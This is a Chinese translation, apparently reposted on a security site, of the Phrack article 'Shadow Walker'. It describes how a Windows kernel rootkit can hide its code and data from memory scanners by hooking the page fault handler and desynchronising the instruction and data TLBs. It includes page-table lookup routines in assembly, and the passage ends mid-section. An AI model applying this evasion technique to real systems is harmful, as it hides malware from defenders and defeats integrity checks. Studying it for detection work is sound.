xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
添加文章 Xcon English Version

Raising The Bar For Windows Rootkit Detection


创建时间:2005-08-22
文章属性:翻译
文章提交:linux2linux (linux2linux_at_163.com)

==Phrack Inc.==

              Volume 0x0b, Issue 0x3d, Phile #0x08 of 0x14


|=-------------------------=[ Shadow Walker ]=---------------------------=|
|=--------=[         给Windows Rootkit的检测增加障碍        ]=------------=|
|=-----------------------------------------------------------------------=|
|=---------=[ Sherri Sparks <ssparks at mail.cs.ucf dot edu > ]=---------=|
|=---------=[ Jamie Butler <james.butler at hbgary dot com >  ]=---------=|
      
0 - 关于Rootkit技术的简介 & 背景
  0.1 - 动机                                                        
      
1 - Rootkit检测
  1.1 - 检测 rootkit (所造成)的影响 (启发式)
  1.2 - 检测Rootkit本身 (特征值)

2 - 内存体系结构的回顾                                            
  2.1 - 虚拟内存 - 分页 vs. 分段                          
  2.2 - 页表 & PTE                                                
  2.3 - 虚拟地址到物理地址的转换                            
  2.4 - 页出错处理程序的作用                                
  2.5 - 分页的性能问题 & TLB                          

3 - 内存伪装的概念                                                
  3.1 - 隐藏执行代码                                            
  3.2 - 隐藏纯粹数据                                                  
  3.3 - 相关工作                                                      
  3.4 - 证明概念的实现                                    
      3.4.a - 修改过的FU Rootkit
      3.4.b - Shadow Walker 内存挂钩引擎
                                  
4 - 已知的局限 & 性能上的影响
                                  
5 - 检测
    
6 - 总结                                                            
      
7 - 参考

8 - 致谢                                      
      
--[ 0 - 简介 & 背景                                        

从历史角度来看, Rootkit面对着理解自己攻击行为后所设计的防御技术的不断发展, 展现出一种
相互进化的自适应性和响应性. 如果我们回顾rootkit技术的进化过程, 这个模式是很明显的.
第一代的rootkit是原始的. 他们简单地替换/修改受害者系统上关键的系统文件. UNIX登录程序
是一个共同目标, 吸引着攻击者恶意地用一个具有记录用户密码功能的增强型版本替换原来的二进制文件.
因为这些早期的rootkit的改变受限于磁盘上的系统文件, 所以他们推动了诸如Tripwire[1]这样的文件
系统完整性检查工具的发展.

作为回应, rootkit开发者将他们的修改方式从磁盘移到已加载程序的内存映像, 并且再一次躲避
了检测. 这些第二代rootkit大体上基于挂钩技术——通过对已加载的应用程序和一些诸如系统调用
表的操作系统部件打内存补丁而改变执行路径. 虽然更具备隐蔽性, 但是这样的修改还是可以通过
启发式地搜索异常检测出来. 举例来说, 对于那些包含不指向操作系统内核的系统服务表是很值得
怀疑的. 这就是VICE[2]使用的技术.      

第三代的内核rootkit技术称为直接内核对象操作(DKOM), 它在FU rootkit[3]中得以实现,
通过动态地修改内核的数据结构, 就可以利用现有检测软件的弱点, 由于这一点,
建立一个静态的可信基准是不可能的.
      
----[ 0.1 - 动机
                                                    
有许多公开的rookit展示了所有这些不同技术, 但是即使最完善的Windows内核rootkit,
像Fu, 具有一个固有的缺陷. 没有一个例外, 他们本质上都破坏了所有的操作系统的子系统:
内存管理. 内核rootkit可以控制内核代码的执行路径, 改变内存数据并且伪造系统调用的
返回值, 但是他们还未证明有能力"挂钩"或伪造其他正在运行的程序可以看到的内存.
换句话说, 公开的内核rootkit面对内存特征扫描时就坐以待毙了.到现在为止,安全公司才开始
考虑实现内存特征扫描.                              

躲避内存扫描与早期病毒试图在文件系统中隐藏自己所面对的问题相类似. 病毒编写者为了回应
反病毒程序扫描文件系统, 就开发了多态和变形技术来躲避检测. 多态试图通过用看上去不同
但实现相同功能代码块替换原始的代码块来改变二进制文件.(也就是使用不同的操作码来完
成同样的工作). 所以, 多态代码只改变了代码块的表面行为, 但是它从根本上并不修改一个
扫描器所见的系统内存区域的视图.

传统上说, 对于恶意代码检测有三种通用方法: "滥用"的检测, 依赖于已知的代码特征值;
异态检测, 依赖于启发式和统计上区分非'正常'行为的方法; 完整性检测, 依赖于比较当前
的文件系统或内存快照和某个已知的, 可信的基准. 一个多态rootkit(或 病毒)也许可以
有效地躲避对于自身代码体的特征扫描, 但在异态或完整性检测面前便马上败下阵了,
因为它不能轻易地伪造自己在别的系统部件中已存在的二进制代码的改动.
                                                                          
现在想像有这样一个rootkit, 它可以好不费力地改变它的表现行为, 还有能力在本质上改变检测器所见
内存任意区域的视图. 当检测器试图读取任何由rootkit修改过的内存区域时, 它看起来是'正常'的,
没有改动的内存视图. 只有rootkit可以看到真实的, 改变过的内存视图. 显然这样的rootkit
有能力在不同程度上破坏所有的主流检测方法. 针对滥用检测, 意思很明白. 扫描器试图边读取内存
边查找代码特征值, 试图发现导入(内存)的rootkit驱动, 而rootkit简单地给扫描器返回一个随机的,
'隐藏'内存视图.(也就是这些视图不包括自己的代码). 至于完整性验证方法的检测的意思也很明白.
在这些情况下, rootkit给除自己外的所有进程返回没有修改的内存视图. 完整性检查器看到的是没有
改变的代码, 查找相匹配的CRC或hash值并且(错误地)认为一切正常. 最后, 任何依赖于识别不正常的
结构特征的异态检测方法也会被愚弄, 因为他们得到的是一个'正常'的代码视图. 一个这样的例子也许
是像VICE的扫描器, 它试图启发式地通过查看在函数体的开始部分是否有直接跳转指令的存在, 来识别
内部函数挂钩.

当前的rootkit, 除了 Hacker Defender [4]是个例外, 几乎没有致力于引入病毒的多态技术.
然而正如开始时提到的, 一个有价值的技术——多态, 对于rootkit来说并不是一个可以理解的
问题解决方案, 因为要安装自己的钩子, rootkit不能简单地伪装自己对现有代码的修改.所以,
我们的目标是展示一个可以论证的理念, 当前的体系结构允许破坏内存管理, 以致于一个不使用
多态技术的内核模式的rootkit(或病毒)有能力以最小的性能打击控制操作系统和其他进程所见
的内存区域的视图. 最终的结果是有可能隐藏一个'已知'的公开的rootkit驱动(由于某些代码
特征值的存在)免于被检测. 到目前为止, 我们已经设计了一个增强型的FU rootkit. 在第一节,
我们讨论用于检测rootkit的基本技术. 在第二节, 我们对x86内存管理体系结构做一个背景摘要.
第三节概述内存伪装的概念和我们证明理念的实现——增强型的rootkit. 最后我们以它的可检测性,
局限性, 未来的扩展性和性能上的影响的讨论最为总结. 如果不出意外, 我们希望你欢迎第四代
rootkit技术的来临.                            
      
--[ 1 - Rootkit的检测                                                
      
直到几个月之前, rootkit的检测很大程序上被安全提供商们所忽略. 大多数安全提供商错误地
将rootkit归入与其他病毒和恶意程序相同的目录中. 正是因为这一点, 安全公司继续使用相同的
检测方法, 最重要的一点就是在文件系统上使用特征扫描. 这只是部分有效. 一旦rootkit导入
内存, 它可以在磁盘上删除自身, 隐藏自己的文件, 或者甚至把一个打开rootkit文件的企图转向.
在这一节中, 我们将分析最近在rootkit检测上的进步.                                
      
----[ 1.1 - 检测 rootkit (所造成)的影响 (启发式)            
      
一种检测rootkit是否存在的方法是检测它如何改变计算机系统上的其他参数. 用这种方法
可以看到rootkit所造成的影响, 即使并不知道一个真实的rootkit会造成什么样的反常现象.
这种解决方案是一个比较通用的方法, 因为不需要对应于某个特殊的rootkit的特征值.这种
方法也可以在内存中查找rootkit, 不用在文件系统查找了.
                          
rootkit的一种影响是它通常改变一个正常程序的执行路径. 通过将自身插入到程序执行体的中间,
rootkit可以在程序和该程序所依赖的内核函数之间扮演中间人的角色. 拥有这个位置的力量,
rootkit能改变程序所看到的和所做的. 举例来说, rootkit可以返回一个与原本程序想要打开
的日志文件不同的句柄, 或者rootkit可以改变网络通讯的目的地址. 这些rootkit修改内存或者
挂钩就会造成多余的指令被执行. 当一个修改过的函数和一个正常函数相比较时, 执行指令数量的
不同预示着rootkit的存在. PatchFinder[5]就使用这个技术. PatchFinder的一个缺点是为了统计
指令, CPU必须处于单步模式. 所以每执行一条指令就触发一次中断,而且必须处理它. 这严重影响
了系统的性能, 而这在商业机上是不可接受的. 甚至在一个干净的系统中, 指令执行真正数量也会变化.
另一个称为VICE的rootkit检测工具可以在应用程序和内核中检测挂钩的存在. VICE通过分析由操作系统
导出函数的地址查找挂钩. 导出的函数是rootkit典型的目标, 因为通过过滤某些API, rootkit可以隐藏
自己. 通过查找挂钩本身, VICE避免了与指令计数相关的问题. 然而VICE也依赖于几个API, 所以对于一个
rootkit来说有可能击败它的挂钩检测方法[6]. 当前VICE最大的问题是它检测所有挂钩, 不管是恶意的,
还是善意的. 然而挂钩是被大多数安全产品所使用的合法技术.                  
      
另一种检测rootkit影响的方法是识别操作系统在说谎. 操作系统按序导出一些众所皆知的
API让应用程序与其交互. 当rootkit改变某一特定API的结果时, 这就是一个谎言. 举例来说,
Windows浏览器能使用几个Win32 API函数查询在一个目录中的文件数量. 如果rootkit改变了应用
程序可见的文件数量, 这就是一个谎言. 为了检测这个谎言, rootkit检测器需要至少两种
方法得到相同的信息. 然后比较两组结果. RootkitRevealer[7]就使用这种技术. 它调用最高层
的API并与使用最低层API的结果相比较. 如果rootkit也在那些底层上挂钩, 这种方法可以被绕过.
RootkitRevealer也不会检查出数据的变化. FU rootkit为了隐藏自己的进程改变了内核数据结构.
RootkitRevealer就无法检测出这个, 因为高层和底层的API同时返回相同的改变过的数据集. F-Secure[8]
出品的Blacklight也试图检测出背离事实的真相. 为了检测隐藏进程, 它依赖于一个未公开的内核结构.
正如FU遍历进程链表来隐藏自身, Blacklight遍历内核的句柄表链表. 每个进程有一个句柄表:
因此通过识别所有的句柄表, Blacklight能发现到计算机上每个进程的指针. FU已经更新了, 也从
句柄表的链表中脱钩了隐藏进程. 这场军备竞赛还将继续.
      
----[ 1.2 - 检测Rootkit本身 (特征值)                    
      
反病毒公司已经展示了扫描文件系统得到特征值可以是很有效的; 然而, 它也能被破坏的.
如果攻击者用一个打包程序伪装二进制文件,  特征值永远不会与rootkit相匹配. rootkit
在内存中运行的特征值是解决这个问题的方法. 一些基于主机的入侵检测系统(HIPS)就试图
防止rootkit被导入. 然而, 堵塞所有代码导入内核的方法是极其困难的. 最近在
Jack Barnaby [9] 和 Chong [10]所写论文中强调了内核溢出的威胁, 它可以允许任意代码
导入到内存并执行.                                                            
      
虽然文件系统扫描和导入检测是需要的, 但是也许最后一层的检测是扫描内存本身. 如果rootkit
躲过了之前的检测, 这可以提供一层另增的安全. 内存特征值是比较可信赖的, 因为rootkit为了
运行必须解包或解密. 由于拥有一个已知的特征值,内存扫描不仅可以用来发现rootkit, 它还可以
用来验证内核本身的完整性. 扫描内核内存也比扫描磁盘上所有东西快得多. Arbaugh et. al. [11]
已经将这种技术带到一个新的层次, 他通过使用自带CPU的独立插卡来实现一个扫描器.

下一节将解释在Intel x86上的内存体系结构.
      
--[ 2 - 内存体系结构的回顾
      
在早期的计算机历史中, 程序员被系统中包含的物理内存的数量所限制. 如果程序太大, 不能
正好放到内存中, 把程序切成一块块的按需地导入和导出内存就是程序员的责任了.这些程序
块称为覆盖图(overlay). 给用户级的程序员强加这类的内存管理(无疑)增加了代码的复杂度
和编程的错误, 与此同时降低了效率. 虚拟内存的发明就是为了缓解程序员的这些负担.                                                                  
      
----[ 2.1 - 虚拟内存 - 分页 vs. 分段                      
      
虚拟内存基于虚拟和物理地址空间的划分. 虚拟地址空间的大小主要是一个地址总线宽度的函数,
然而物理地址空间的大小依赖于系统上安装的RAM的数量.因而, 一个有32位总线的系统可以寻址
2^32 (或 ~4 GB)物理字节的连续内存.然而它不能访问任何接近(超过)所安装RAM大小的地方. 如果是
这种情况, 那么虚拟地址要比物理地址大. 虚拟内存同时划分虚拟和物理地址空间到指定大小块.
如果这些块是同样大小的, 就可以说该系统使用分页内存模型. 如果块是不等大的, 就被认为是一个
分段模型. x86体系结构事实上是一个混合体, 同时利用了分段和分页, 然而本篇文章主要关注分页
机制的利用.                  

在分页模型中, 虚拟内存块被关系到页, 而物理内存块被关系到帧. 每个虚拟页映射到一个指定的物理
帧. 这就是让程序可以看到的虚拟地址空间要比物理地址内存数量大的原因了.(也就是页要比物理帧要多)
这也意味着虚拟上连续的页并不必物理上连续,. 这几点在图1中加以说明.                      
      
   VIRTUAL ADDRESS                      PHYSICAL ADDRESS                  
        SPACE                                SPACE                        
   /-------------\                      /-------------\                    
   |             |                      |             |                    
   |   PAGE 01   |---\   /----------->>>|  FRAME 01   |                    
   |             |   |   |              |             |                    
   ---------------   |   |              ---------------                    
   |             |   |   |              |             |                    
   |   PAGE 02   |------------------->>>|  FRAME 02   |                    
   |             |   |   |              |             |                    
   ---------------   |   |              ---------------                    
   |             |   |   |              |             |                    
   |   PAGE 03   |   \---|----------->>>|  FRAME 03   |                    
   |             |       |              |             |                    
   ---------------       |              \-------------/                    
   |             |       |                                                
   |   PAGE 04   |       |                                                
   |             |       |                                                
   |-------------|       |                                                
   |             |       |                                                
   |   PAGE 05   |-------/                                                
   |             |                                                        
   \-------------/                                                        
      
   [     图 1 - 虚拟内存到物理内存的映射 (分页)             ]      
   [                                                      ]      
   [ 注意: 1. 虚拟和物理地址空间被划分到指定大小块           ]      
   [       2. 虚拟地址空间要比物理内存空间较大              ]      
   [       3. 虚拟上的连续块不必映射到物理上的连续帧        ]      
      
----[ 2.2 - 页表 & PTE                                                
      
联系虚拟地址和它物理帧的映射信息存放在页表中通称为PTE的结构中. PTE也储存状态信息.
例如, 状态位能预示一个页是否有效( 物理上存在于内存中 vs 存储在磁盘中 ),
它是否可写, 或者它是否是一个用户(user)/特权(supervisor)页. 图2 展示了一个x86
PTE的格式.                                                    
      
   Valid          <------------------------------------------------\      
   Read/Write     <--------------------------------------------\   |      
   Privilege      <----------------------------------------\   |   |      
   Write Through  <------------------------------------\   |   |   |      
   Cache Disabled <--------------------------------\   |   |   |   |      
   Accessed       <---------------------------\    |   |   |   |   |      
   Dirty          <-----------------------\   |    |   |   |   |   |      
   Reserved       <-------------------\   |   |    |   |   |   |   |      
   Global         <---------------\   |   |   |    |   |   |   |   |      
   Reserved       <----------\    |   |   |   |    |   |   |   |   |      
   Reserved       <-----\    |    |   |   |   |    |   |   |   |   |      
   Reserved       <-\   |    |    |   |   |   |    |   |   |   |   |      
                    |   |    |    |   |   |   |    |   |   |   |   |      
   +----------------+---+----+----+---+---+---+----+---+---+---+---+-+    
   |              |   |   |    |    |   |   |   |    |   | U | R |   |    
   | PAGE FRAME # | U | P | Cw | Gl | L | D | A | Cd | Wt| / | / | V |    
   |              |   |   |    |    |   |   |   |    |   | S | W |   |    
   +-----------------------------------------------------------------+    
      
                   [ 图 2 - x86 PTE 格式 (4 KB 页) ]                          

----[ 2.3 - 虚拟地址到物理地址的转换                            
      
虚拟地址被编码为在页表中查找PTE所必需的信息. 他们分成两个基本部分: 虚页号和字节索引.
虚页号提供到页表的索引, 而字节索引提供到物理帧的偏移. 当一个内存引用发生时, 该页的PTE
是通过页表基址加上虚页号 * PTE入口大小在页表中查找的. 在物理内存中的页基址从PTE中提取
出来和字节索引相结合定义出送到内存部件的物理内存地址. 如果虚拟地址空间特别大并且页的大小
又相对较小, 这样就存在一个问题, 它需要一个很大的页表来保存所有的映射信息. 并且因为页表
必须常驻在主存中, 一个大页表将是代价巨大的. 面对这个两难处境的一种解决方法是使用多级分页
方案. 一个两级分页方案就可以有效地分页页表. 它继续细分虚页号为一个页目录索引和一个页表索引.
页目录索引是一个简单的到页表的指针表. 这种两级分页方案被x86所支持的. 图3说明了虚拟地址是
如何划分来索引页目录和页表的, 图4说明了地址转换的过程.                                            
      
   +---------------------------------------+                              
   | 31                                 12 |                 0            
   | +----------------+ +----------------+ | +---------------+            
   | | PAGE DIRECTORY | |   PAGE TABLE   | | |  BYTE INDEX   |            
   | |     INDEX      | |     INDEX      | | |               |            
   | +----------------+ +----------------+ | +---------------+            
   |       10 bits            10 bits      |      12 bits                  
   |                                       |                              
   |         VIRTUAL PAGE NUMBER           |                              
   +---------------------------------------+                              
      
              [ 图 3 - x86 寻址 & 页表索引方案 ]              
              
     +--------+                                                            
   /-|KPROCESS|                                                            
   | +--------+                                                            
   |               Virtual Address                                        
   | +------------------------------------------+                          
   | | Page Directory | Page Table | Byte Index |                          
   | |     Index      |   Index    |            |                          
   | +-+-------------------+-------------+------+                          
   |   | +---+             |             |                                
   |   | |CR3| Physical    |             |                                
   |   | +---+ Address Of  |             |                                
   |   |       Page Dir    |             |                                
   |   |                   |             \------ -\                        
   |   |                   |                      |                      
   |   |  Page Directory   |       Page Table     |     Physical Memory    
   \---|->+------------+   | /-->+------------+   \---->+------------+    
       |  |            |   | |   |            |         |            |    
       |  |            |   | |   |            |         |            |    
       |  |            |   | |   |            |         |------------|    
       |  |            |   | |   |            |         |            |    
       |  |------------|   | |   |            |         |   Page     |    
       \->|    PDN     |---|-/   |            |         |   Frame    |    
          |------------|   |     |            |      /---->          |    
          |            |   |     |            |      |  |------------|    
          |            |   |     |            |      |  |            |    
          |            |   |     |            |      |  |            |    
          |            |   |     |            |      |  |            |    
          |            |   |     |------------|      |  |            |    
          |            |   \---->|    PFN     -------/  |            |    
          |            |         |------------|         |            |    
          +------------+         +------------+         +------------+    
          (1 per process)      (512 per processs)                          
      
                         [  图 4 - x86 地址转换  ]                              
      
在两级分页方案下的内存访问可能包括以下的顺序步骤.                                      
      
1. 页目录入口的查找(PDE)
   页目录入口 = 页目录基址 + sizeof(PDE) * 页目录索引(从产生内存访问的虚拟地址中取得)
   注意: Windows映射页目录到虚拟地址到0xC0300000.
   页目录的基址也位于KPROCESS块中并且cr3寄存器也包含当前页目录的物理地址.
      
2. 页表入口的查找
   页表入口 = 页表基址 + sizeof(PTE) * 页表索引(从产生内存访问的虚拟地址中取得)
   注意: Windows映射页表到虚拟地址到0xC0000000
   页表的物理基址也储存在页目录入口中.                                            
      
3. 物理地址的查找
   物理地址 = PTE的内容 + 位索引
   注意: PTE 保存对于某个物理帧的物理地址. 它和字节索引相结合(到帧的偏移)来形成完整的物理地址.
   对于那些偏好代码解释的人们, 下面两个例程展示了这个转换是如何发生的.
   第一个例程, GetPteAddress完成上述第一,第二步操作. 对于给定虚拟地址,
   它返回一个到页表入口的指针.
   第二个例程返回由该页所映射的帧的物理基址
    
      
#define PROCESS_PAGE_DIR_BASE                  0xC0300000
#define PROCESS_PAGE_TABLE_BASE                0xC0000000
typedef unsigned long* PPTE;
      
/**************************************************************************
* GetPteAddress - Returns a pointer to the page table entry corresponding  
*                 to a given memory address.                              
*    
* Parameters:
*       PVOID VirtualAddress - Address you wish to acquire a pointer to the
*                              page table entry for.                      
*    
* Return - Pointer to the page table entry for VirtualAddress or an error  
*          code.                                                          
*    
* Error Codes:                                                            
*       ERROR_PTE_NOT_PRESENT - The page table for the given virtual
*                               address is not present in memory.          
*      ERROR_PAGE_NOT_PRESENT - The page containing the data for the      
*                               given virtual address is not present in    
*                               memory.                                    
**************************************************************************/
PPTE GetPteAddress( PVOID VirtualAddress )                                
{    
        PPTE pPTE = 0;                                                    
        __asm                                                              
        {                                                                  
                cli                     //disable interrupts              
                pushad                                                    
                mov esi, PROCESS_PAGE_DIR_BASE                            
                mov edx, VirtualAddress                                    
                mov eax, edx                                              
                shr eax, 22                                                
                lea eax, [esi + eax*4]  //pointer to page directory entry  
                test [eax], 0x80        //is it a large page?              
                jnz Is_Large_Page       //it's a large page                
                mov esi, PROCESS_PAGE_TABLE_BASE                          
                shr edx, 12                                                
                lea eax, [esi + edx*4]  //pointer to page table entry (PTE)
                mov pPTE, eax                                              
                jmp Done                                                  
      
                //NOTE: There is not a page table for large pages because
                //the phys frames are contained in the page directory.    
                Is_Large_Page:                                            
                mov pPTE, eax                                              
      
                Done:                                                      
                popad                                                      
                sti                    //reenable interrupts              
        }//end asm                                                        
      
        return pPTE;                                                      
      
}//end GetPteAddress                                                      
      
/**************************************************************************
* GetPhysicalFrameAddress - Gets the base physical address in memory where
*                           the page is mapped. This corresponds to the    
*                           bits 12 - 32 in the page table entry.          
*    
* Parameters -                                                            
*       PPTE pPte - Pointer to the PTE that you wish to retrieve the
*       physical address from.                                            
*    
* Return - The physical address of the page.                              
**************************************************************************/
ULONG GetPhysicalFrameAddress( PPTE pPte )                                
{    
        ULONG Frame = 0;                                                  
      
        __asm                                                              
        {                                                                  
                cli                                                        
                pushad                                                    
                mov eax, pPte                                              
                mov ecx, [eax]                                            
                shr ecx, 12  //physical page frame consists of the        
                             //upper 20 bits
                mov Frame, ecx                                            
                popad                                                      
                sti                                                        
        }//end asm                                                        
        return Frame;                                                      
      
}//end GetPhysicalFrameAddress                                            
            
----[ 2.4 - 页出错处理程序的作用                                                            
      
因为许多进程只使用属于它们的一小部分虚拟地址空间, 只有使用的部分才映射到物理帧.
也因为物理内存要比虚拟地址空间小, 操作系统就移动最近最少使用的页到磁盘中(页面文件)
来缓解当前的内存需要. 帧分配由操作系统来处理. 如果一个进程比物理内存的可用量还要大,
或者操作系统缺少空闲的物理帧, 一些现在分配的帧必须交换到磁盘中以释放空间. 这些交换出去
的页存放在页面文件中. 关于一个页是否驻于主存的信息储存在页表入口中.当一个内存访问发生时,
如果该页在主存中不存在, 就产生一个页出错. 现在就是页出错处理程序的工作了, 如果所有可用的
物理帧已满, 触发I/O请求将最近最少访问的页交换出去, 接着从页面文件中取进请求的页. 当虚拟
内存启用时, 每个内存访问必须在页表中查找来决定它映射到哪个物理帧和是否在主存中存在.
这招致了实质的性能开销, 特别当体系结构像Intel Pentium一样是基于多级页表方案的. 内存访问
页出错路径可以总结如下:
      
1. 在页目录中查找以决定该地址的页表是否在主存中存在.
2. 如果不存在, 就触发一个I/O请求从磁盘中取进页表.
3. 在页表中查找以决定请求的页是否在主存中存在.
4. 如果不存在, 就触发一个I/O请求从磁盘中取进页.
5. 在页中查找请求的字节(偏移).                      
      
所以每次内存访问, 在最好的情况下, 事实上需要3次内存访问: 1次访问页目录, 1次访问页表
和1次得到在正确偏移处的数据. 在最糟的情况下, (内存访问)需要额外的两次磁盘I/O操作.
(如果页被交换到磁盘中). 因此, 虚拟内存招致了急剧提升的性能打击.                            
      
----[ 2.5 - 分页的性能问题 & TLB                      
      
转换后备缓存器(TLB)的引入用来帮助缓解这个问题. 根本上讲, TLB是一个保存频繁使用的
从虚拟地址到物理地址映射的硬件缓存. 因为TLB使用极快的联想存储器实现的, 它搜索一个转换
要比在页表中查找更快. 对于一个内存访问, 首先搜索TLB寻找一个有效的转换. 如果转换找到,
术语上称为一个TLB命中. 否则, 就是一次缺失. 所以一次TLB命中绕过了较慢的页表查询.
现代的TLB拥有极高的命中律, 因此很少招致在页表中查找转换的缺失损失.
              
--[ 3 - 内存伪装的概念                                        
      
一个高级rootkit的目标是隐藏自己对可执行代码的改变(举例来说, 也就是一个内联补丁的放置).
很明显, 它也希望从(内存)视图上隐藏自己的代码段. 代码段和数据段一样, 位于内存中,
我们也可以定义基本的内存访问方式:

  - 可执行
  - 可读
  - 可写

从技术角度上讲, 我们知道每个虚页可以映射到一个物理页帧, 它由在页表入口中的特定几位定义.
如果我们能过滤内存访问, 以致于执行访问和读/写访问映射到一个不同的物理帧, 那将如何呢?
从rootkit角度来说, 这是很有利的. 考虑这样一种内联挂钩的情况. 修改过的代码正常地运行,
但是任何读取(也就是检测)代码变化的企图都会转向到'原始'的物理帧, 其中包含着一份原来的, 未经
修改过的代码视图. 类似地, 一个rootkit驱动可以通过把到它自己内存空间的读访问导向到包含随机
垃圾数据的页上,或者通过导向到包含另一个来自'无辜'驱动的代码视图页上,来隐藏自己. 这意味着
欺骗特征扫描和和完整性监视是可行的. 事实上, Petium体系结构的结构特性为rootkit完成这样的
小诡计提供了方便, 并且只会对系统的整体性能具有很小的影响. 我在下一节中讨论具体细节.                                                                
      
----[ 3.1 - 隐藏执行代码                                        
      
极具讽刺意味的是, 我们将要讨论的大体方法是一个现有的防止堆栈溢出方案的进攻性扩展,该方案称为PaX,
我们将在下面的3.3节中相关工作, 概要地讨论PaX的实现.

为了隐藏执行代码, 至少有三个根本问题需要指出:

1. 我们需要一种过滤 执行访问 和 读/写访问的方法.
2. 我们需要一种"伪造"读/写内存访问的方法, 当我们检测他们时.
3. 我们需要确保性能不受负面影响.

第一个问题涉及到如何过滤读/写访问和执行访问. 当虚拟内存启用时, 内存访问限制是通过
设置在页表入口的几位强制进行的, 这几位指定了一个特定的页是只读的还是可读写的.
然而在IA-32体系结构下,所有的页都是可执行的.同样地, 没有一种官方的方法可以过滤读/写访问和
执行访问, 因而要使这个方案工作, 保持执行访问 / 转向读/写的语义操作是极其必要的.然而我们可以通过
标记PTE不存在和挂钩页出错处理程序来陷阱和过滤内存访问. 在页错误处理程序中, 我们可以使用保存过
的指令指针(IP)和错误处理地址. 如果指令指针和错误处理地址相同, 那么这就是一个执行访问.否则,
这是一个读/写访问. 当操作系统在内存管理中使用存在位, 我们也需要区分我们内存挂钩过的页出错
处理程序和正常的页错误处理程序. 最简单的方法是需要所有的挂钩页要么位于非分页内存或者通过像
MnProbeAndLockPages的API显示地锁定.

下一个问题涉及到当我们检测它们时,如何"伪造"执行访问和读/写访问(并以最小的性能消耗完成这些).
在这方面,Pentium的TLB体系机构前来援助. Petium分开处理TLB, 一个TLB用作指令, 另一个用作数据.
正如之前提到的, 当虚拟内存启用时, TLB缓存虚拟地址到物理页帧的映射. 通常ITLB和DTLB是同步的,
对于一个给定的页保存相同的物理映射. 虽然TLB主要是由硬件控制的, 但还有几种软件控制它的机制.                                          
      
  - 重新导入CR3, 致使除了全局入口之外的所有的TLB入口被清除.
    这样的情况典型地发生在上下文环境切换时.
  - invlpg指令造成某个特定的TLB入口被清除.
  - 执行数据访问指令致使DTLB被导入访问过的数据页的映射.
  - 执行一个调用致使ITLB被导入包含响应这个调用所执行的代码页的映射.

我们能过滤读/写访问和执行访问并通过破坏TLB的同步访问来伪造它们, 这样ITLB和DTLB
保存一个不同的从虚拟地址到物理地址的映射.这个过程演示如下:

首先, 安装一个新的页出错处理程序来处理伪装的页访问.接着标志被挂钩的页不存在, 也就是
通过invlpg指令清除TLB入口. 这确保了后来所有对该页的访问都将通过安装上的页出错处理程序
过滤. 在安装上的页出错处理程序中, 我们通过比较保存过的指令指针(IP)和出错处理程序地址,决定
一个特定的内存访问应属于执行访问还是读/写访问. 如果它们相匹配, 内存访问属于执行访问.否则
属于读/写访问. 访问的类型决定了哪个映射手动地加载到ITLB或是DTLB. 图5提供这种策略的概念图.

最后, 需要重点指出的是TLB的访问要比执行页表查询的速度快得多. 一般来说, 页出错处理是要付出
很大代价的. 所以乍看之下, 标志需要隐藏的分页不存在, 很明显将造成性能上的严重打击. 但事实上并
不这样. 虽然我们标志了需要隐藏的分页不存在, 但是对于大多数的内存访问, 我们并不造成页出错处理上
的性能损失, 因为入口缓存都在TLB中. 当然,在标志伪装的分页不存在后发生的首次错误处理 和 随后的当
TLB项填满后由高速缓冲线路清除造成的页错误处理, (这两种情况)是个例外. 因此新的页错误处理程序的
主要工作是明白地并且选择性地将为了隐藏分页而修改过的映射导入DTLB或ITLB. 所有源自其他分页的错误
处理请求都传递到操作系统的页错误处理程序.
  
                                                     +-------------+
                                        rootkit code |   FRAME 1   |  
      Is it a +-----------+           /------------->|             |      
       code   |           |           |              |-------------|      
      access? |   ITLB    |           |              |   FRAME 2   |      
      /------>|-----------|-----------/              |             |      
      |       |  VPN=12   |                          |-------------|      
      |       |  Frame=1  |                          |   FRAME 3   |      
      |       +-----------+                          |             |      
      |                           +-------------+    |-------------|      
   MEMORY                         | PAGE TABLES |    |   FRAME 4   |      
   ACCESS                         +-------------+    |             |      
   VPN=12                                            |-------------|      
      |                                              |   FRAME 5   |      
      |       +-----------+                          |             |      
      |       |           |                          |-------------|      
      |       |   DTLB    |           random garbage |   FRAME 6   |      
      |------>|------------------------------------->|             |      
      Is it a |  VPN=12   |                          |-------------|      
        data  |  Frame=6  |                          |   FRAME N   |      
      access? +-----------+                          |             |      
                                                     +-------------+      
  
             [ 图 5 - 通过破坏分离的TLB的同步伪造读/写访问 ]    
  
----[ 3.2 - 隐藏纯粹数据                                              
      
值得注意的是, 隐藏数据的修改相对于隐藏代码的修改来说效果并不理想, 但如果某人愿意接受性能上
的打击, 这是可以办到的. 当依靠ITLB可以维护一个与DTLB不同的映射的事实来隐藏执行代码时,
我们只造成了最少的性能损失. 伴随着最少的页出错情况, 代码可以执行得很快, 因为映射总自在
ITLB中存在( 除了ITLB入口从高速缓存中移除这样极少的情况).很不幸, 在隐藏数据的情况下, 我们
不能引入任何这样的不一致. 因为只有一个DTLB, 所以如果我们要捕获和过滤特定的数据访问, DTLB
不得不清空. 最后的结果是每次数据访问造成一次页出错. 如果用于隐藏某个特定的驱动的话, 这不是
一个大问题, 只要驱动经过精心设计, 使用最少的全局数据, 但是当试图隐藏一个频繁访问数据分页时,
性能上的打击是不可避免的.

对于数据的隐藏, 我们使用一种在隐藏驱动和内存挂钩之间基于协议的(交互)方式. 我们使用这种方法
来展示某人如何在一个rootkit驱动中隐藏全局数据.为了允许内存访问通过, DTLB会在页错误处理
程序中导入.然而为了强迫得到正确的对数据访问的过滤, DTLB必须由请求的驱动立即清除, 以确保没有
任何其他的代码访问那个内存空间和接受由不正确的映射所产生的数据.

访问一个隐藏分页上数据的协议描述如下:

1. 驱动将IRQL(中断请求级)提升到DISPATCH_LEVEL(以确保没有其他的代码开始运行,
   与"伪造"数据的方式不同, 不可以使其他的代码看到"隐藏"的数据)
                                                          
2. 驱动必须明确地使用invlpg指令清除包含伪装变量的分页的TLB入口. 如果其他的进程
   试图访问我们的数据分页情况下, 那么这些进程会被导向到伪造的帧(也就是我们不想得到
   仍然位于TLB中伪造的映射, 所以我们就必须确保清除它)
                
3. 驱动允许执行数据访问.  
                
4. 驱动必须明确地使用invlpg指令清除包含伪装变量的分页的TLB入口.(也就是真正的映射
   并不位于TLB中. 我们不想其他的驱动或进程得到隐藏的映射, 所以我们清除它).
    
5. 驱动降低IRQL到被提升之前的优先级.
                                                    
另外的限制条件也加上:                                
      
  - 没有全局数据传递到内核API函数. 当调用一个API时, 全局数据必须拷贝到堆栈中的
